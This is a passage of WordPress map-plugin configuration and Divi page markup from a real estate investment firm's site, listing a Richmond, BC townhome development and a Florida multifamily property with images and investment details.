$(\"#map7\").maps({\"map_options\":{\"center_lat\":\"49.13664139999999\",\"center_lng\":\"-123.1139252\",\"zoom\":10,\"map_type_id\":\"ROADMAP\",\"center_by_nearest\":false,\"fit_bounds\":false,\"center_circle_fillcolor\":\"#8CAEF2\",\"center_circle_fillopacity\":\".5\",\"center_circle_strokecolor\":\"#8CAEF2\",\"center_circle_strokeopacity\":\".5\",\"show_center_circle\":false,\"show_center_marker\":false,\"center_marker_icon\":\"http:\/\/wes.webzz.pro\/wp-content\/plugins\/wp-google-map-gold\/assets\/images\/\/default_marker.png\",\"center_circle_strokeweight\":\"1\",\"draggable\":true,\"scroll_wheel\":\"true\",\"gesture\":\"auto\",\"marker_default_icon\":\"https:\/\/www.canadianpassiveinvesting.com\/wp-content\/uploads\/2021\/02\/map-current-location.png\",\"infowindow_setting\":\"<div class=\"fc-main\">n<div class=\"fc-item-title\">{marker_title} <span class=\"fc-badge info\">{marker_category}<\/span><\/div>n<div class=\"fc-item-featured_image\">{marker_image} <\/div>n<p>{marker_message}<\/p>n<address><b>Address : <\/b>{marker_address}<\/address>n<\/div>n\",\"infowindow_geotags_setting\":\"<div class=\"post_body\">n<div class=\"location-image\"><a target=\"_blank\" href=\"{post_link}\">{post_featured_image}<\/a><\/div>n<div class=\"location-description\">n<div class=\"location-title\"><a target=\"_blank\" href=\"{post_link}\">{post_title}<\/a><\/div>n<table class=\"address\" \"=\"\">n<tbody>n<tr>n<td><img src=\"\/wp-content\/uploads\/2021\/02\/location-description-pin.svg\"><\/td>n<td>{marker_address}<\/td>n<\/tr>n<\/tbody>n<\/table>n<div class=\"category\"><span>{post_categories}<\/span><\/div>n<\/div>n<\/div>n\",\"infowindow_skin\":{\"name\":\"default\",\"type\":\"infowindow\",\"sourcecode\":\"<div class=\"fc-main\"><div class=\"fc-item-title\">{marker_title} <span class=\"fc-badge info\">{marker_category}<\/span><\/div> <div class=\"fc-item-featured_image\">{marker_image} <\/div>{marker_message}<address><b>Address : <\/b>{marker_address}<\/address><\/div>\"},\"infowindow_post_skin\":{\"name\":\"default\",\"type\":\"post\",\"sourcecode\":\"<div class=\"post_body\">rn<div class=\"location-image\"><a target=\"_blank\" href=\"{post_link}\">{post_featured_image}<\/a><\/div>rn<div class=\"location-description\">rn<div class=\"location-title\"><a target=\"_blank\" href=\"{post_link}\">{post_title}<\/a><\/div>rnrn<table class=\"address\" \"=\"\">rn<tbody><tr>rn<td><img src=\"\/wp-content\/uploads\/2021\/02\/location-description-pin.svg\"><\/td>rn<td>{marker_address}<\/td>rn<\/tr>rn<\/tbody><\/table>rn<div class=\"category\"><span>{post_categories}<\/span><\/div>rn<\/div>rn<\/div>\"},\"infowindow_drop_animation\":false,\"close_infowindow_on_map_click\":false,\"default_infowindow_open\":false,\"infowindow_open_event\":\"click\",\"infowindow_filter_only\":false,\"infowindow_click_change_zoom\":0,\"infowindow_click_change_center\":false,\"full_screen_control\":true,\"search_control\":true,\"zoom_control\":true,\"map_type_control\":true,\"street_view_control\":true,\"locateme_control\":false,\"mobile_specific\":false,\"zoom_mobile\":5,\"draggable_mobile\":true,\"scroll_wheel_mobile\":true,\"full_screen_control_position\":\"TOP_RIGHT\",\"search_control_position\":\"TOP_LEFT\",\"locateme_control_position\":\"TOP_LEFT\",\"zoom_control_position\":\"TOP_LEFT\",\"map_type_control_position\":\"TOP_RIGHT\",\"map_type_control_style\":\"HORIZONTAL_BAR\",\"street_view_control_position\":\"TOP_LEFT\",\"map_control\":false,\"screens\":{\"smartphones\":{\"map_zoom_level_mobile\":\"5\"},\"ipads\":{\"map_zoom_level_mobile\":\"5\"},\"large-screens\":{\"map_zoom_level_mobile\":\"5\"}},\"map_infowindow_customisations\":false,\"infowindow_width\":\"100%\",\"infowindow_border_color\":\"rgba(0, 0, 0, 0.0980392)\",\"infowindow_bg_color\":\"#fff\",\"show_infowindow_header\":false,\"min_zoom\":\"0\",\"max_zoom\":\"19\",\"zoom_level_after_search\":\"10\",\"url_filters\":false,\"doubleclickzoom\":false,\"bound_map_after_filter\":false,\"display_reset_button\":false,\"map_reset_button_text\":\"Reset\",\"height\":\"450\"},\"places\":[{\"source\":\"post\",\"title\":\"Kadium No4 Road TownHomes\",\"infowindow_content\":\"<div class=\"post_body\">rn<div class=\"location-image\"><a target=\"_blank\" href=\"https:\/\/www.cpicapital.ca\/kadium-no4-road-townhomes\/\"><div class=\"fc-feature-img\"><img alt=\"BlueWater Apartment Homes\" width=\"300\" height=\"200\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-01-300x200.jpg\" class=\"wp-post-image   wpgmp_featured_image\" ><\/div><\/a><\/div>rn<div class=\"location-description\">rn<div class=\"location-title\"><a target=\"_blank\" href=\"https:\/\/www.cpicapital.ca\/kadium-no4-road-townhomes\/\">Kadium No4 Road TownHomes<\/a><\/div>rnrn<table class=\"address\" \"=\"\">rn<tbody><tr>rn<td><img src=\"\/wp-content\/uploads\/2021\/02\/location-description-pin.svg\"><\/td>rn<td>{marker_address}<\/td>rn<\/tr>rn<\/tbody><\/table>rn<div class=\"category\"><span>Multifamily<\/span><\/div>rn<\/div>rn<\/div>\",\"content\":\"\",\"address\":\"10340 No 4 Rd, Richmond, BC V7A 3R9, Canada\",\"location\":{\"lat\":\"49.13664139999999\",\"city\":\"Richmond\",\"state\":\"British Columbia\",\"country\":\"Canada\",\"lng\":\"-123.1139252\",\"redirect_custom_link\":\"\",\"onclick_action\":\"marker\",\"redirect_permalink\":\"https:\/\/www.cpicapital.ca\/kadium-no4-road-townhomes\/\",\"zoom\":10,\"extra_fields\":{\"post_excerpt\":\"\",\"post_content\":\"[et_pb_section fb_built=\"1\" module_class=\"section-location-gallery\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_color=\"#f6f9fc\"][et_pb_row module_class=\"post-carousel\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/1_image.jpg\" alt=\"1_image\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_4.jpg\" alt=\"Screenshot_4\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_1.jpg\" alt=\"Screenshot_1\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_3.jpg\" alt=\"Screenshot_3\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_2.jpg\" alt=\"Screenshot_2\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" admin_label=\"section-location-main-v2\" module_class=\"section-location-main-v2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_row module_class=\"row-header\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_post_title author=\"off\" date=\"off\" comments=\"off\" featured_image=\"off\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][et_pb_text admin_label=\"Text - Subtitle\" _builder_version=\"4.9.0\" _module_preset=\"default\"]Richmond, British Columbia[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_6,1_6,1_6,1_6,1_6,1_6\" use_custom_gutter=\"on\" gutter_width=\"1\" module_class=\"row-location-info\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Minimum\" _builder_version=\"4.9.0\" background_enable_color=\"off\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Minimum<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]-[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Distributions\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Distributions <\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]-[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Annualized Returns\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Annualized Returns<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]-[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Target Hold\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Target Hold<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]-[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Property Type\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Property Type<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Ground-up Development[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Asset Class \" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Asset Class<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Class A[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_2,1_2\" use_custom_gutter=\"on\" gutter_width=\"3\" module_class=\"row-overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Overview<\/h3>n<p>19 TownHome development located in the family oriented central location of Richmond, a suburb of Vancouver. Projected completion is early 2023. The project is pre-selling in 2021.<\/p>[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Invested\" module_class=\"invested-module\" _builder_version=\"4.9.0\" _module_preset=\"default\"]100% <span>Invested<\/span>[\/et_pb_text][et_pb_text admin_label=\"Equity\" module_class=\"equity-module\" _builder_version=\"4.9.0\" _module_preset=\"default\"]$5,600,000 <span>Equity<\/span>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" module_class=\"section-location-map\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_row _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Map\" _builder_version=\"4.9.0\" _module_preset=\"default\"][put_wpgm id=7 current_post_only=true][\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" admin_label=\"Section Become an Investor\" module_class=\"section-become-an-investor\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_color=\"#16193a\" background_image=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/02\/bottom-section-bg.png\" locked=\"off\"][et_pb_row _builder_version=\"4.8.2\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.8.2\" _module_preset=\"default\"][et_pb_text admin_label=\"Subscribe\" _builder_version=\"4.9.0\" _module_preset=\"default\" text_orientation=\"center\" background_layout=\"dark\"]<h5>CPI Capital helps busy professionals to earn <span>passive income<\/span> through real estate investing so they could have more time <span>freedom<\/span> to live a more <span>abundant life<\/span>.<\/h5>[\/et_pb_text][et_pb_button button_url=\"https:\/\/cpicapital.cpicapital.ca\/website?__hstc=230844480.4d57ee93d97208f67ef855cbb1d2b53d.1633341719967.1633410514045.1633419575663.4&__hssc=230844480.25.1633419575663&__hsfp=3601630007\" url_new_window=\"on\" button_text=\"become an investor\" button_alignment=\"center\" module_class=\"dark-bg\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_layout=\"dark\"][\/et_pb_button][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" disabled_on=\"on|on|on\" admin_label=\"Section OLD\" module_class=\"section-location-main\" _builder_version=\"4.9.0\" disabled=\"on\" collapsed=\"on\"][et_pb_row column_structure=\"2_3,1_3\" module_class=\"row-header\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"2_3\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_post_title author=\"off\" date=\"off\" comments=\"off\" featured_image=\"off\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][\/et_pb_column][et_pb_column type=\"1_3\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/02\/bakerson.png\" title_text=\"bakerson\" align=\"right\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_image][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_4,1_4,1_4,1_4\" use_custom_gutter=\"on\" gutter_width=\"1\" module_class=\"row-location-info\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Address\" _builder_version=\"4.9.0\" background_enable_color=\"off\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Address<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]1725 W Vogel Ave, Phoenix, AZ&nbsp;85021[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Status\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Status<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Sold[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Date Purchased\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Date Purchased<\/h6>[\/et_pb_text][et_pb_post_title title=\"off\" author=\"off\" date_format=\"m\/j\/Y\" categories=\"off\" comments=\"off\" featured_image=\"off\" admin_label=\"Date\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Unit Count\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Unit Count<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]16 units[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_2,1_2\" use_custom_gutter=\"on\" gutter_width=\"3\" module_class=\"row-overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Overview<\/h3>n<p>Mountain Springs was purchased from an owner who self-managed. This property was acquired with low in place rents, and problematic financials which made it hard to secure permanent financing. The property received complete unit turns and we were able to increase the rents to market. Many of the rents were $100-200 below market. The exterior of the property had a landscaping overhaul which increased the curb appeal.<\/p>[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Key Details\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Key Details<\/h3>n<table>n<tbody>n<tr>n<td>Ownership<\/td>n<td><span>10%<\/span> equity<\/td>n<\/tr>n<tr>n<td>Site Size<\/td>n<td><span>1.2<\/span> Acres<\/td>n<\/tr>n<tr>n<td>Year built<\/td>n<td>2001<\/td>n<\/tr>n<tr>n<td>Date Sold<\/td>n<td>12\/15\/2017<\/td>n<\/tr>n<tr>n<td>Value Add<\/td>n<td>Interior unit turns, Landscaping<\/td>n<\/tr>n<\/tbody>n<\/table>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]\",\"post_title\":\"Kadium No4 Road TownHomes\",\"post_link\":\"https:\/\/www.cpicapital.ca\/kadium-no4-road-townhomes\/\",\"post_featured_image\":\"<div class=\"fc-feature-img\"><img alt=\"BlueWater Apartment Homes\" width=\"300\" height=\"200\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-01-300x200.jpg\" class=\"wp-post-image   wpgmp_featured_image\" ><\/div>\",\"post_categories\":\"Multifamily\",\"post_tags\":\"\",\"%inline_featured_image%\":\"0\",\"%_wpgmp_location_address%\":\"10340 No 4 Rd, Richmond, BC V7A 3R9, Canada\",\"%_wpgmp_location_city%\":\"Richmond\",\"%_wpgmp_location_state%\":\"British Columbia\",\"%_wpgmp_location_country%\":\"Canada\",\"%_wpgmp_metabox_latitude%\":\"49.13664139999999\",\"%_wpgmp_metabox_longitude%\":\"-123.1139252\",\"%_wpgmp_metabox_location_redirect%\":\"marker\",\"%_wpgmp_metabox_custom_link%\":\"\",\"%_wpgmp_map_id%\":\"a:2:{i:0;s:1:\"1\";i:1;s:1:\"7\";}\",\"%_wpgmp_metabox_marker_id%\":\"N;\",\"%_wpgmp_metabox_taxomomies_terms%\":\"N;\",\"%_wpgmp_extensions_fields%\":\"N;\",\"%_et_post_bg_color%\":\"#ffffff\",\"%_et_post_bg_layout%\":\"light\",\"%_et_pb_show_title%\":\"off\",\"%_et_pb_post_hide_nav%\":\"default\",\"%_et_pb_page_layout%\":\"et_full_width_page\",\"%_et_pb_side_nav%\":\"off\",\"%_et_pb_use_builder%\":\"on\",\"%_et_pb_first_image%\":\"\",\"%_et_pb_truncate_post%\":\"\",\"%_et_pb_truncate_post_date%\":\"\",\"%_et_pb_old_content%\":\"Test Map Post  2\",\"%_thumbnail_id%\":\"10684\",\"%_et_pb_built_for_post_type%\":\"page\",\"%_et_pb_ab_subjects%\":\"\",\"%_et_pb_enable_shortcode_tracking%\":\"\",\"%_et_pb_ab_current_shortcode%\":\"[et_pb_split_track id=\"10786\" \/]\",\"%_et_pb_custom_css%\":\"\",\"%_et_pb_gutter_width%\":\"2\",\"%_global_colors_info%\":\"{}\",\"%_et_builder_version%\":\"VB|Divi|4.9.0\",\"%_et_pb_show_page_creation%\":\"off\",\"%_wp_old_slug%\":\"test-map-post-2\",\"%_dp_original%\":\"10722\",\"%_edit_last%\":\"1\",\"%_edit_lock%\":\"1634295203:1\",\"taxonomy=category\":\"Multifamily\",\"taxonomy=post_tag\":\"\",\"taxonomy=post_format\":\"\"},\"icon\":\"https:\/\/www.canadianpassiveinvesting.com\/wp-content\/uploads\/2021\/02\/map-current-location.png\"},\"id\":10786,\"custom_filters\":[],\"infowindow_disable\":false},{\"source\":\"post\",\"title\":\"Braxton Waterleigh\",\"infowindow_content\":\"<div class=\"post_body\">rn<div class=\"location-image\"><a target=\"_blank\" href=\"https:\/\/www.cpicapital.ca\/braxton-waterleigh\/\"><div class=\"fc-feature-img\"><img alt=\"Braxton Waterleigh\" width=\"300\" height=\"200\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-01-300x200.jpg\" class=\"wp-post-image   wpgmp_featured_image\" ><\/div><\/a><\/div>rn<div class=\"location-description\">rn<div class=\"location-title\"><a target=\"_blank\" href=\"https:\/\/www.cpicapital.ca\/braxton-waterleigh\/\">Braxton Waterleigh<\/a><\/div>rnrn<table class=\"address\" \"=\"\">rn<tbody><tr>rn<td><img src=\"\/wp-content\/uploads\/2021\/02\/location-description-pin.svg\"><\/td>rn<td>{marker_address}<\/td>rn<\/tr>rn<\/tbody><\/table>rn<div class=\"category\"><span>Multifamily<\/span><\/div>rn<\/div>rn<\/div>\",\"address\":\"10091 Tuller Loop, Winter Garden, FL 34787, USA\",\"location\":{\"lat\":\"28.4132117\",\"city\":\"Winter Garden\",\"state\":\"Florida\",\"country\":\"United States\",\"lng\":\"-81.6333645\",\"onclick_action\":\"marker\",\"redirect_permalink\":\"https:\/\/www.cpicapital.ca\/braxton-waterleigh\/\",\"zoom\":10,\"extra_fields\":{\"post_excerpt\":\"\",\"post_content\":\"[et_pb_section fb_built=\"1\" module_class=\"section-location-gallery\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_color=\"#f6f9fc\"][et_pb_row module_class=\"post-carousel\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-01.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-02.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-03.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-04.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-05.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-06.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-07.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-08.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-09.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-10.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-11.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-12.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" admin_label=\"section-location-main-v2\" module_class=\"section-location-main-v2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_row module_class=\"row-header\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_post_title author=\"off\" date=\"off\" comments=\"off\" featured_image=\"off\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][et_pb_text admin_label=\"Text - Subtitle\" _builder_version=\"4.9.0\" _module_preset=\"default\" hover_enabled=\"0\" sticky_enabled=\"0\"]Horizon West, Florida[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_6,1_6,1_6,1_6,1_6,1_6\" use_custom_gutter=\"on\" gutter_width=\"1\" module_class=\"row-location-info\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Minimum\" _builder_version=\"4.9.0\" background_enable_color=\"off\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Minimum<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" hover_enabled=\"0\" sticky_enabled=\"0\"]$25K[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Distributions\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Distributions <\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" hover_enabled=\"0\" sticky_enabled=\"0\"]Monthly[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Annualized Returns\" _builder_version=\"4.9.0\" background_size=\"initial\" 